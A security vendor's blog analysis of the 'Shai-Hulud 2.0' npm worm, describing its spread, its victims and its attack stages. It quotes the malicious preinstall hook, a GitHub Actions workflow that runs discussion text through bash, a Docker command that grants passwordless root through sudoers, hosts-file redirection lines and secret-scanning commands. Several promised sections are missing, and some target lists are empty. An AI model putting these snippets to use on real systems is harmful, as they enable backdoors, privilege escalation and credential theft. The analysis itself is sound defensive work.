Shai-Hulud 2.0: The NPM Worm That’s Eating the Software Supply Chain

Shai-Hulud 2.0: The NPM Worm That’s Eating the Software Supply Chain

Executive Summary

In what security experts are calling one of the most severe JavaScript supply chain attacks in history, a self-propagating worm dubbed “Shai-Hulud 2.0” has compromised over 25,000 GitHub repositories and 700+ npm packages with a combined download count exceeding 100 million. The attack, which began on November 21, 2025, represents a dangerous evolution from the original September campaign, featuring pre-install execution, destructive payloads, and exponential worm-like propagation.

Key Statistics:

  • 25,000+ GitHub repositories compromised
  • 700+ npm packages infected (and growing)
  • 100M+ total downloads affected
  • 1,000 new repositories created every 30 minutes at peak
  • Major victims: Zapier, ENS Domains, PostHog, Postman, AsyncAPI, CrowdStrike

This is not a drill. If your organization uses npm packages, you need to act immediately.

Table of Contents

  1. What is Shai-Hulud 2.0?
  2. Attack Timeline: From September to “The Second Coming”
  3. The 7-Stage Attack Chain
  4. High-Profile Victims
  5. Why Version 2.0 is Deadlier: 8 Critical Evolutions
  6. Technical Deep Dive: How the Attack Works
  7. Indicators of Compromise (IOCs)
  8. Immediate Defense Actions
  9. How Seceon Protects Against Supply Chain Attacks
  10. Conclusion: The New Reality of Supply Chain Security
  11. How to Stay Protected
  12. Why Seceon
  13. Get Protected Today
  14. Additional Resources

What is Shai-Hulud 2.0?

Named after the giant sandworms from Frank Herbert’s Dune novels, Shai-Hulud is a self-propagating malware worm that spreads through the npm ecosystem by compromising package maintainer accounts and injecting malicious code into legitimate packages. The “2.0” designation refers to this campaign’s dramatically enhanced capabilities compared to the original September 2025 attack.

The Dune Reference

The attackers’ choice of name is deliberately theatrical. Like the sandworms of Arrakis that could swallow entire cities, this digital worm consumes development environments, CI/CD pipelines, and cloud credentials at an unprecedented scale. The “Second Coming” subtitle attached to this campaign suggests the threat actors view this as a triumphant return-and the numbers back up their confidence.

Campaign Overview

First Wave (September 15-16, 2025):

  • 459 packages compromised
  • Post-install script execution
  • Predictable repository naming (/shai-hulud)

Second Wave – “The Second Coming” (November 21-25, 2025):

  • 700+ packages compromised (and climbing)
  • 25,000+ malicious GitHub repositories
  • Preinstall script execution (major evolution)
  • Random repository naming (harder to detect)
  • Destructive “scorched earth” payload
  • 1,000 new infections every 30 minutes at peak

The shift from post-install to preinstall execution is particularly significant. This means the malware runs before the package even finishes installing, dramatically widening the attack surface to include not just production systems but development machines and CI/CD pipelines.

Attack Timeline

September 15-16, 2025: The Original Shai-Hulud

The first Shai-Hulud campaign began when security researchers discovered that dozens of popular npm libraries had been replaced with malicious versions. The attack compromised 459 packages, including some with millions of weekly downloads. The malware used post-install scripts to:

  • Scan for GitHub Personal Access Tokens (PATs)
  • Harvest npm authentication tokens
  • Exfiltrate credentials to public GitHub repositories named “/shai-hulud”
  • Propagate to other packages maintained by the compromised developer

The original campaign was devastating enough to be called one of the worst npm supply chain attacks. But it was merely the proof of concept.

November 21-23, 2025: “The Second Coming” Deployment

Three months later, the attackers returned with a vengeance. Starting on November 21, 2025, security vendors began detecting a new wave of compromised packages. This time, the infection spread at unprecedented speed:

  • November 21, 3:16 AM GMT: First packages detected (go-template, 36 AsyncAPI packages)
  • November 21, 4:11 AM GMT: PostHog packages compromised
  • November 21, 5:09 AM GMT: Postman packages hit
  • November 24: Peak spread rate of 1,000 new malicious repositories every 30 minutes

November 24, 2025: Peak Propagation

By November 24, the worm had reached its maximum spread velocity. Security researchers watching the campaign in real-time observed:

  • Approximately 1,000 new GitHub repositories created every 30 minutes
  • Each compromised maintainer account became a new distribution vector
  • The worm exhibited true autonomous propagation without further attacker intervention
  • Traditional detection methods overwhelmed by the sheer volume and speed

December 9, 2025: The Deadline

npm has announced it will revoke all classic authentication tokens on December 9, 2025, in response to this wave of supply chain attacks. The timing of the Shai-Hulud 2.0 campaign—striking just before this deadline—suggests the threat actors saw this as their last opportunity to exploit classic tokens at scale.

Many organizations have not yet migrated to trusted publishing workflows, creating a perfect storm of vulnerable accounts and expiring security measures.

The 7-Stage Attack Chain

Understanding how Shai-Hulud 2.0 works is critical to defending against it. The attack follows a sophisticated seven-stage process:

Stage 1: Initial Compromise

Objective: Obtain npm or GitHub maintainer credentials

The attack begins with credential theft, typically through:

  • Phishing campaigns targeting npm package maintainers
  • Credential stuffing using leaked passwords from other breaches
  • Exploitation of weak passwords on high-value accounts
  • Social engineering to obtain Personal Access Tokens (PATs)

Researchers believe the initial compromise may have occurred weeks or months before the November campaign, allowing attackers to build up a portfolio of compromised accounts.

Stage 2: Package Injection

Objective: Publish trojanized versions of legitimate packages

Using stolen credentials, attackers authenticate to the npm registry as the legitimate maintainer and publish new versions of popular packages. These versions include malicious code hidden in two key files:

  • setup_bun.js – Downloads and installs the Bun JavaScript runtime
  • bun_environment.js – The actual malware payload

The malicious code is injected into the preinstall script section of package.json, ensuring it executes before the package even finishes installing.

Stage 3: Automatic Execution

Objective: Run malware without user interaction

This is where Shai-Hulud 2.0’s most significant evolution occurs. Unlike the original version that used post-install scripts (which some security tools can catch), version 2.0 uses preinstall scripts.

When a developer or CI/CD system runs npm install, the preinstall script executes immediately and automatically:

“scripts”: {

  “preinstall”: “node setup_bun.js”

}

This happens:

  • Before most security scanners can analyze the package
  • On developer workstations (not just production)
  • In CI/CD pipelines (potentially compromising build infrastructure)
  • With the permissions of whoever ran npm install

The setup_bun.js script downloads the Bun runtime, then uses it to execute bun_environment.js, which contains the main malware payload.

Stage 4: Credential Harvesting

Objective: Steal as many secrets as possible

Once executing, the malware deploys TruffleHog, an open-source secret scanning tool, to comprehensively harvest credentials from the compromised environment:

Environment Variables:

  • npm_* (npm authentication tokens)
  • GITHUB_TOKEN (GitHub Personal Access Tokens)
  • AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY
  • AZURE_CLIENT_ID and AZURE_CLIENT_SECRET
  • GCP_SERVICE_ACCOUNT_KEY

Configuration Files:

  • .npmrc (npm configuration and tokens)
  • .gitconfig (GitHub credentials)
  • ~/.ssh/ (SSH keys)
  • ~/.aws/credentials (AWS credentials)
  • Cloud service configuration files

Cloud Metadata Services:

  • AWS EC2 instance metadata (169.254.169.254)
  • Azure instance metadata service
  • GCP metadata server

The malware is thorough, scanning:

  • Current working directory
  • User home directory
  • Common configuration locations
  • Process environment variables
  • Docker container environment

Stage 5: Data Exfiltration

Objective: Transmit stolen credentials to attacker-controlled infrastructure

This is where Shai-Hulud 2.0 becomes particularly brazen. Instead of using traditional command-and-control servers, the malware creates public GitHub repositories under the victim’s own account:

Repository Characteristics:

  • Name: Randomly generated (unlike v1’s predictable “/shai-hulud”)
  • Description: “Sha1-Hulud: The Second Coming” (the calling card)
  • Visibility: PUBLIC (maximizing embarrassment and pressure)
  • Contents: All harvested credentials committed as plain text

Why public repositories? Several reasons:

  • Psychological warfare: Victims discover their credentials publicly exposed
  • Maximum spread: Other attackers can harvest the exposed credentials
  • Detection evasion: GitHub API abuse looks like normal developer activity
  • Redundancy: Even if some repos are taken down, others persist

The malware uses the victim’s own GitHub token to create these repositories, making the exfiltration appear legitimate to security monitoring.

Stage 6: Self-Propagation

Objective: Spread to as many packages as possible

This is where Shai-Hulud becomes a true worm. Using the stolen npm tokens, the malware:

  • Authenticates to npm as the victim
  • Enumerates all packages maintained by the victim
  • Downloads the source code of each package
  • Injects the malicious preinstall script
  • Publishes new versions of ALL packages
  • Repeats the process for every compromised credential

This creates exponential growth:

  • Developer A is compromised, maintains 10 packages
  • All 10 packages get infected
  • 100 developers install those packages
  • Now 100 developers are compromised
  • Those 100 developers maintain 1,000 packages collectively
  • All 1,000 packages get infected
  • And so on…

At peak, this resulted in 1,000 new malicious repositories appearing every 30 minutes—faster than security teams could respond.

Stage 7: Scorched Earth

Objective: If credential theft fails, destroy everything

This is Shai-Hulud 2.0’s most malicious innovation. If the malware fails to:

  • Steal any credentials
  • Obtain GitHub tokens
  • Authenticate to npm
  • Create exfiltration repositories

Then it executes a destructive payload that attempts to:

Secure Overwrite and Delete:

  • Target: ENTIRE user home directory
  • Method: Secure overwrite (making recovery impossible)
  • Scope: Every writable file owned by the current user
  • Result: Complete data loss—documents, code, configurations, SSH keys, everything

Privilege Escalation for Maximum Damage:
If running on Linux, the malware attempts to gain root access via Docker:

docker run –privileged -v /:/host alpine sh -c “echo ‘victim ALL=(ALL) NOPASSWD:ALL’ > /host/etc/sudoers.d/shai-hulud”

This:

  • Launches a privileged Docker container
  • Mounts the host root filesystem to /host
  • Modifies the sudoers file to grant passwordless root access
  • Allows further system-wide destruction

The Message:
This scorched earth tactic sends a clear message: “If I can’t steal from you, I’ll destroy you.” It transforms the attack from espionage into sabotage, significantly raising the stakes for organizations.

High-Profile Victims

The list of compromised organizations reads like a who’s who of the modern development ecosystem:

Critical Infrastructure

Zapier

  • Description: Integration platform connecting 5,000+ apps
  • Impact: Millions of automated workflows potentially compromised
  • Risk: Access to customer data across integrated services

ENS Domains

  • Description: Ethereum Name Service – Web3 naming infrastructure
  • Impact: Critical Web3 infrastructure component
  • Risk: Potential for domain hijacking and wallet compromise

Postman

  • Description: API development platform
  • User Base: 25+ million developers
  • Impact: API keys, authentication tokens for millions of services
  • Risk: Widespread API credential compromise

Development Tools

AsyncAPI

  • Description: API specification and documentation
  • Downloads: Used by thousands of projects
  • Impact: 36 packages compromised in initial wave

Nx Monorepo

  • Description: Build system and monorepo management
  • Impact: Enterprise development infrastructure
  • Risk: CI/CD pipeline compromise

Colors.js

  • Downloads: 2+ million weekly
  • Impact: Fundamental dependency for countless projects
  • Historical Note: Previously sabotaged by its own maintainer in 2022

Faker.js

  • Description: Test data generation library
  • Usage: Development and testing workflows
  • Risk: Compromise of development environments

Security Industry

CrowdStrike

  • Description: Cybersecurity vendor
  • Irony Level: Maximum
  • Impact: Packages used internally compromised
  • Significance: Even security companies aren’t immune

Additional Victims

  • PostHog – Product analytics platform
  • Node-ipc – Critical communication library
  • ESLint Configs – Code quality tools
  • 689+ More Packages – And the number keeps growing

Why These Targets Matter

The victims share common characteristics:

  • High download counts – Maximum infection potential
  • Deep dependency chains – Affect many downstream projects
  • Developer tools – Compromise development infrastructure
  • Critical infrastructure – Web3, payments, authentication

A single compromised package can affect thousands of projects through the dependency tree, creating a cascade effect that’s nearly impossible to fully track.

Why Version 2.0 is Deadlier: 8 Critical Evolutions

The original Shai-Hulud was bad. Version 2.0 is a nightmare. Here’s why:

1. Preinstall Execution: Bypassing Security

What Changed:

  • v1: Post-install scripts (run after package installation)
  • v2: Preinstall scripts (run BEFORE installation completes)

Why It Matters:
Most security tools scan packages after they’re downloaded but before they’re installed. They look for suspicious patterns in the code, check file hashes, analyze dependencies. This happens in the window between download and installation.

Preinstall scripts execute during the download phase, before these security checks can complete. This means:

  • Static analysis tools: Can’t catch it
  • Runtime protection: Too late
  • Manual review: Won’t see it until already executed
  • CI/CD scanners: Compromised before they can raise alerts

The malware runs with the same permissions as whoever executed npm install:

  • On developer workstations: Full user access
  • In CI/CD pipelines: Often with elevated cloud credentials
  • On build servers: Access to production deployment keys
  • In Docker containers: Potential host escape via volume mounts

Real-World Impact:
A senior developer at a Fortune 500 company running npm install for a routine dependency update could inadvertently:

  • Compromise their workstation
  • Expose their GitHub PAT (giving access to all company repositories)
  • Leak AWS credentials (if configured locally for testing)
  • Trigger the worm to infect all packages they maintain

All in the time it takes to type one command.

2. Scorched Earth: Punitive Destruction

What’s New:
If credential theft fails-no npm tokens, no GitHub access, unable to create exfiltration repositories-Shai-Hulud 2.0 doesn’t just exit gracefully. It destroys everything it can reach.

The Destructive Payload:

# Pseudocode representation

if (no_credentials_found && cannot_exfiltrate):

    for file in user_home_directory:

        if file.is_writable():

            secure_overwrite(file)  # Multiple passes with random data

            delete(file)

What Gets Destroyed:
Everything in the user’s home directory:

  • Source code: Local repositories, uncommitted work
  • Documents: Personal files, company documents
  • SSH keys: Access to servers, Git repositories
  • Configuration files: IDE settings, tool configurations
  • Database credentials: Local dev database passwords
  • Browser data: Saved passwords, session tokens
  • Cryptocurrency wallets: Private keys (if stored locally)

Secure Overwrite:
Unlike simple deletion (which can often be recovered), secure overwrite:

  • Writes random data over the file multiple times
  • Ensures data cannot be forensically recovered
  • Then deletes the file
  • Makes recovery essentially impossible

Why This Changes Everything:
Previous supply chain attacks focused on espionage—steal credentials and stay hidden. Shai-Hulud 2.0 says: “If I can’t steal from you, I’ll destroy you.” This transforms it from a pure espionage campaign into cyber vandalism, raising the stakes dramatically.

Organizations now face not just credential theft but potential catastrophic data loss. The backup strategy for your source code repositories just became a critical security control.

3. GitHub Actions Abuse: Persistent Backdoor

The Innovation:
Shai-Hulud 2.0 doesn’t just steal credentials and leave. It establishes persistent access by injecting malicious GitHub Actions workflows into compromised repositories.

The Malicious Workflow:

name: “Discussion Handler”

on:

  discussion:

    types: [created]

jobs:

  process:

    runs-on: self-hosted

    steps:

      – uses: actions/checkout@v5

      – name: Execute

        run: echo ${{ github.event.discussion.body }} | bash

How It Works:

  • Trigger: Malware creates this workflow in .github/workflows/
  • Self-Hosted Runner: Registers the victim machine as a GitHub Actions runner
  • Remote Control: Attacker creates a GitHub Discussion in the compromised repo
  • Execution: Discussion body contains commands, executed via bash
  • Persistence: Survives reboots, credential rotations, even code reviews (if not examined closely)

Why It’s Devastating:

  • Bypasses Authentication: Uses GitHub’s legitimate infrastructure
  • Appears Normal: Automated workflows are common in modern development
  • Hard to Detect: Buried in .github/workflows/ among legitimate workflows
  • Survives Cleanup: Even if credentials are rotated, the backdoor persists
  • Enables Lateral Movement: Can access any repository the user/organization has access to

Real-World Scenario:
A company rotates all credentials after detecting the initial compromise. They think they’re safe. Two weeks later, an attacker creates a Discussion in a compromised repository. The malicious workflow executes, downloads a new payload, and the attack begins again—using fresh credentials harvested from the “cleaned” system.

4. Docker Privilege Escalation: From User to Root

The Technique:
If the compromised user has Docker access (common for developers), Shai-Hulud 2.0 attempts to gain root access on the host system:

docker run –privileged \

  -v /:/host \

  alpine sh -c \

    “echo ‘victim ALL=(ALL) NOPASSWD:ALL’ > /host/etc/sudoers.d/shai-hulud”

Breaking It Down:

  • –privileged: Gives the container near-complete host access
  • -v /:/host: Mounts the entire host filesystem
  • Modifies sudoers: Grants passwordless sudo to the compromised user
  • Result: User can now execute any command as root

Why Developers Have Docker:

  • Modern development workflow standard
  • Required for containerized applications
  • Used for testing and local deployments
  • Often given broad permissions for convenience

The Privilege Escalation Chain:

  • npm install (user privileges)
    → Preinstall script executes
    → Detects Docker access
    → Launches privileged container
    → Mounts host filesystem
    → Modifies sudoers
    → Compromised user now has root
    → Can access ANY file on system
    → Can install kernel-level rootkits
    → Can persist across reboots

Defense Challenge:
Many development workflow guides recommend giving developers Docker access for convenience. Security teams face a difficult choice: impair developer productivity or accept elevated privilege escalation risk.

5. Cloud Credential Theft: AWS, Azure, GCP

What’s Targeted:
Shai-Hulud 2.0 specifically hunts for cloud service provider credentials:

AWS:

Azure:

  • Environment variables: AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID
  • Files: ~/.azure/credentials
  • Managed identity endpoints

Google Cloud Platform:

Secret Manager Exploitation:
After obtaining cloud credentials, the malware queries secret management services:

  • AWS Secrets Manager
  • AWS Systems Manager Parameter Store
  • Azure Key Vault
  • GCP Secret Manager

This can yield:

  • Database passwords
  • API keys for SaaS services
  • Production application secrets
  • Customer data encryption keys

The Cascading Effect:

  • Developer workstation compromised
    → Local AWS credentials stolen
    → Access to AWS Secrets Manager
    → Production database credentials obtained
    → Customer data exfiltrated
    → Regulatory nightmare

A single compromised developer workstation with local cloud credentials can provide a path to production data breaches.

6. DNS Hijacking Capabilities

Advanced Payload:
Some Shai-Hulud 2.0 samples include DNS manipulation capabilities:

Techniques:

  • Modify /etc/hosts to redirect specific domains
  • Alter DNS resolver configuration (/etc/resolv.conf)
  • Inject malicious DNS records for man-in-the-middle attacks

Attack Scenarios:

Supply Chain Poisoning:

# Modified /etc/hosts

registry.npmjs.org    192.168.100.50  # Attacker’s server

Now all npm installs go through attacker-controlled proxy, allowing package injection.

API Endpoint Hijacking:

api.stripe.com        192.168.100.51

api.github.com        192.168.100.52

Intercept and steal API keys, tokens, and sensitive data in transit.

Internal Service Redirection:

  • Point internal service names to attacker infrastructure
  • Capture authentication attempts
  • Perform man-in-the-middle on internal API calls

Why This Is Hard to Detect:
DNS modifications happen at the system level, often bypassing application-layer security:

  • TLS certificate validation can be bypassed with stolen certificates
  • Many tools trust DNS implicitly
  • Internal tools may not use TLS at all
  • Developers rarely check /etc/hosts for modifications

7. Exponential Spread: True Worm Behavior

The Math of Propagation:
Traditional supply chain attacks require manual effort for each victim:

  • Attacker compromises one package
  • Manual analysis of next target
  • Manual injection of payload
  • Linear growth: 1, 2, 3, 4…

Shai-Hulud 2.0 spreads autonomously:

  • One compromised developer maintains 10 packages → 10 infected packages
  • Each package has 100 downloaders → 1,000 compromised machines
  • Those 1,000 machines maintain 10,000 packages → 10,000 infected packages
  • Exponential growth: 1, 10, 1,000, 10,000, 100,000…

Observed Growth Rate:
At peak (November 24, 2025):

  • 1,000 new malicious repositories every 30 minutes
  • 2,000 per hour
  • 48,000 per day (if left unchecked)

This is faster than security teams can:

  • Detect the compromised packages
  • Analyze the payloads
  • Notify affected developers
  • Publish security advisories
  • Implement blocking measures

Why It’s Self-Sustaining:
Each victim becomes an unwitting distribution point:

  • Developer A’s machine is compromised
  • Developer A publishes 5 packages (now infected)
  • Those packages are dependencies for 100 projects
  • 100 development teams install the infected packages
  • 100 new machines are compromised
  • Those 100 developers publish 500 packages (all infected)
  • Cycle repeats

The worm doesn’t need the original attacker to spread anymore. It’s truly autonomous.

8. Random Naming: Evasion Improvement

The Problem with Version 1:
Original Shai-Hulud used predictable naming:

  • GitHub repositories: [username]/shai-hulud
  • Easy to find: Search GitHub for “shai-hulud”
  • Easy to clean: Automated scripts could delete these repos
  • Easy to monitor: Security researchers could track the campaign

Version 2.0’s Solution:
Random repository names:

  • [username]/zK8mP3vQ2nT
  • [username]/xR5jL9dW4hN
  • [username]/aB6fG1mK7sP

Only Consistent Identifier:

  • Repository description: “Sha1-Hulud: The Second Coming”

Why This Matters:

Harder to Find:

  • Can’t search for repo name
  • Must search repo descriptions (slower, less reliable)
  • GitHub API rate limits make bulk searching difficult

Harder to Clean:

  • Automated cleanup scripts can’t rely on predictable names
  • Must inspect each repository individually
  • Time-consuming for victims with many repositories

Secrets Harder to Scrub:

  • Security teams can’t quickly identify all exposure locations
  • Stolen credentials may persist in undiscovered repos
  • Requires comprehensive credential rotation (expensive, disruptive)

Forensics More Difficult:

  • Harder to track the full scope of compromise
  • Difficult to establish timeline of events
  • Challenging to identify patient zero

The random naming represents a mature threat actor learning from detection efforts and adapting to evade defensive measures.

Technical Deep Dive: How the Attack Works

Let’s examine the actual technical mechanisms:

Infection Vector

package.json modification:

{

  “name”: “legitimate-package”,

  “version”: “2.0.1”,

  “scripts”: {

    “preinstall”: “node setup_bun.js”

  }

}

When someone runs npm install legitimate-package:

  • npm downloads the package
  • npm executes preinstall script: node setup_bun.js
  • setup_bun.js downloads the Bun runtime
  • Bun executes bun_environment.js (the actual malware)

Credential Harvesting Implementation

TruffleHog Integration:

# Downloaded and executed by the malware

truffleHog –regex –entropy=True –max_depth=50 /home/user/

truffleHog –regex –entropy=True /home/user/.aws/

truffleHog –regex –entropy=True /home/user/.ssh/

TruffleHog is a legitimate open-source tool for finding secrets. The malware weaponizes it to:

  • Scan files for high-entropy strings (likely to be keys/tokens)
  • Match regex patterns for known credential formats
  • Search common credential storage locations
  • Extract AWS keys, GitHub tokens, npm tokens, SSH keys

Get Protected Today

Don’t let Shai-Hulud 2.0 or the next supply chain attack compromise your organization.

This blog post contains a technical analysis of active malware campaigns. All code examples are provided for educational and defensive purposes only. Seceon does not condone or support the use of this information for malicious purposes.

Seceon® is a registered trademark. aiSIEM®, aiXDR®, and aiSOAR® are registered trademarks of Seceon Inc.

Footer-for-Blogs-3

Leave a Reply

Your email address will not be published. Required fields are marked *

Categories

Seceon Inc
Privacy Overview

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.